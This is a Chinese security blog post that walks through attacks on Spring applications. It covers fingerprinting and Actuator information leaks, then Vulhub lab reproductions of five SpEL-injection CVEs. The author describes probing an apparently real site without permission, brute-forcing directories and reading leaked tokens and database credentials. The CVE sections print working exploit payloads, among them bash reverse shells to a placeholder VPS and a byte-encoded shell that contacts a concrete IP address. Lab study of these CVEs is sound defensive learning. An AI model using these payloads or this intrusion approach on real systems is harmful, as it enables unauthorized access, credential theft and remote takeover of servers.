一、框架简介

Spring是一个开放源代码的设计层面框架,他解决的是业务逻辑层和其他各层的松耦合问题,因此它将面向接口的编程思想贯穿整个系统应用。Spring是于2003 年兴起的一个轻量级的Java 开发框架,由Rod Johnson创建。简单来说,Spring是一个分层的JavaSE/EE full-stack(一站式) 轻量级开源框架。

二、框架特征

  • 如果Web应用程序的favicon.ico图标默认没有更改,是一个小绿叶。

1.png

  • 如果 web 应用开发者没有修改 springboot web 应用的默认 4xx、5xx 报错页面,那么当 web 应用程序出现 4xx、5xx 错误时,会报错如下图:
    2.png

三、Sping Boot之actuator配置不当导致信息泄露

Actuator简介

Actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块,借助于 Actuator 开发者可以很方便地对应用系统某些监控指标进行查看、统计等。在 Actuator 启用的情况下,如果没有做好相关权限控制,非法用户可通过访问默认的执行器端点(endpoints)来获取应用系统中的监控信息

对应路径泄露功能点描述

路径描述
/autoconfig泄露应用的自动化配置报告,包括所有自动化配置的候选项。同时还列出了每个候选项自动化配置的各个先决条件是否满足
/beans泄露应用上下文中创建的所有Bean
//env泄露环境配置信息
/configprops泄露应用中配置的属性信息报告
/dump泄露程序运行中的线程信息
/info泄露应用程序的定制信息
/mappings泄露描述全部的URI路径,以及它们和控制器(包含Actuator端点)的映射关系
/metrics泄露报告各种应用程序度量信息,比如内存用量和HTTP请求计数
/shutdown关闭应用程序
/trace泄露用户请求http头和用户敏感信息

产生原因

此漏洞是因为开发人员配置不当,将接口暴漏在公网上并且没有配置访问控制权限而产生的信息泄露

利用方式

  • 首先我们通过Web的favicon.ico图标可以判断这个是Spring框架搭建的站点。
    3.png
  • 根据页面的一些信息可以知道这是一个Spring 的管理界面,这种页面一般都是很安全的,所以我尝试了一下弱口令爆然而没有成功,于是就用专门的Spring Boot的字典去跑了一下目录,结果发现一堆未授权访问的目录
    4.png
  • 依次去查看对应目录存放的内容
    /trace:这里泄露用户请求http头和用户敏感信息,如cookie,token等
    5.png

/autoconfig记录哪些自动配置条件通过了,哪些没通过6.png

/env这里一般会存放一些环境配置信息如java版本,数据账号密码,开放端口,启动方式等信息。
7.png

/configprops用来获取应用中配置的属性信息
8.png

  • 通过上面收集到的敏感信息我们可以直接登录到后台,如果数据库没有限制只允许本地登录,我们还可以直接链接到数据库等一些操作
    9.png

这里是临时找的一个例子,就不往后面演示了

四、Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)

漏洞概述

Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块。在其使用 whitelabel views 来处理错误时,由于使用了Springs Expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。

影响版本

Spring Security OAuth 2.3到2.3.2

Spring Security OAuth 2.2到2.2.1

Spring Security OAuth 2.1到2.1.1

Spring Security OAuth 2.0到2.0.14

漏洞复现

注:本次漏洞复现集合全部采用Vulhub环境

1.进入/vulhub-master/spring/CVE-2016-4977,使用docker-compose up -d启动环境
10.png

2.验证漏洞是否存在payload,如果存在页面则会response_type参数值的总和,如下图:

/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test

11.png

3.对反弹shell的POC进行base64编码(java反弹shell都需要先编码,不然不会成功,runtime不支持管道符)
加密地址:http://www.jackson-t.ca/runtime-exec-payloads.html
12.png

使用脚本生成利用代码
13.png

4.将生成的POC,复制到response_type参数后,然后使用自己的vps监听6666端口。
14.png

5.成功反弹shell
15.png

五、Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)

漏洞概述

Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。

影响版本

Spring WebFlow 2.4.0 - 2.4.4

漏洞复现

1.启动vulhub Spring靶场
16.png

2.点击login随便选用一个账号密码进行登录
17.png

3.然后访问id为1的酒店http://your-ip:8080/hotels/1,点击预订按钮“Book Hotel”,填写相关信息后点击“Process”(从这一步,其实WebFlow就正式开始了):
18.png

点击Confirm进行抓包:
19.png

4.构造payload(一定要URL编码否则不能反弹)

_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/VPS/PORT 0>&1")).start()=vulhub

20.png

5.成功反弹shell21.png

六、Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)

漏洞概述

Spring Data REST是一个构建在Spring Data之上,为了帮助开发者更加容易地开发REST风格的Web服务。在REST API的Patch方法中(实现RFC6902),path的值被传入setValue,导致执行了SpEL表达式,触发远程命令执行漏洞。

影响版本

Spring Data REST 2.5.12, 2.6.7, 3.0 RC3之前的版本

Spring Boot 2.0.0M4之前的版本

Spring Data release trains Kay-RC3之前的版本

漏洞复现

1.启动vulhub靶场
22.png

Get:从服务器端获取数据,请求body在地址栏上
Post:向服务器端提交数据,请求数据在报文body里发送一个修改数据的请求,需求数据要从新创建
Put:向服务器端提交数据,请求数据在报文body里发送一个修改数据的请求,需求数据更新(全部更新)
Patch:向服务器端提交数据,请求数据在报文body里发送一个修改数据的请求,需求数据更新(部分更新)
Delete:向服务器端提交数据,请求数据在报文body里发送一个删除数据的请求

23.png

先将反弹shell,POC使用工具进行转义
24.png

在使用脚本将转义后的POC用脚本转换成十进制

payload = b'要执行的命令'
bytecode = ','.join(str(i) for i in list(payload))
print(bytecode)

25.png

将转换成的十进制带入byte中

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,77,106,69,117,78,67,52,53,77,67,52,121,77,122,65,118,77,84,73,122,78,67,65,119,80,105,89,120,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104}))/lastname", "value": "vulhub" }]

3.成功反弹shell
26.png

七、Spring Messaging 远程命令执行漏洞(CVE-2018-1270)

漏洞概述

Spring Messaging为Spring框架提供消息支持,其上层协议是STOMP,底层通信基于SockJS,在Spring messaging中,其允许客户端订阅消息,并使用selector过滤消息。selector用SpEL表达式编写,并使用StandardEvaluationContext解析,造成命令执行漏洞。

影响版本

1.基础地址,在vulhub中为http://your-ip:8080/gs-guide-websocket
2.待执行的SpEL表达式,如T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')
3.某一个订阅的地址,如vulhub中为:/topic/greetings
4.如何触发这个订阅,即如何让后端向这个订阅发送消息。在vulhub中,我们向/app/hello发送一个包含name的json,即可触发这个事件。当然在实战中就不同了,所以这个poc并不具有通用性。

漏洞复现

1.启动环境
27.png

2.使用exp,我们只需要更改红框部分即可
28.png

3.运行之后成功反弹shell
29.png

八、Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)

漏洞概述

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。

影响范围

Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10)

Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)

Spring Data Commons 2.0 to 2.0.5 (Kay SR5)

Spring Data REST 3.0 - 3.0.5 (Kay SR5)

更早的版本也会受到影响

漏洞复现

1.启动环境之后访问/user目录,可以看到注册用户界面
30.png

2.注册一个用户进行抓包
31.png

3.username处构造payload(如果执行的命令有管道符的话记得进行加密):

[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("你要执行的命令")]

32.png

4.使用docker-compose exec spring bash可以进入到容器中,可以看到/tmp目录下已经创建出了名为xigua的文件
33.png

文章写的有点差,各位表哥嘴下留情

Last modification:November 28, 2021
如果觉得我的文章对你有用,请随意赞赏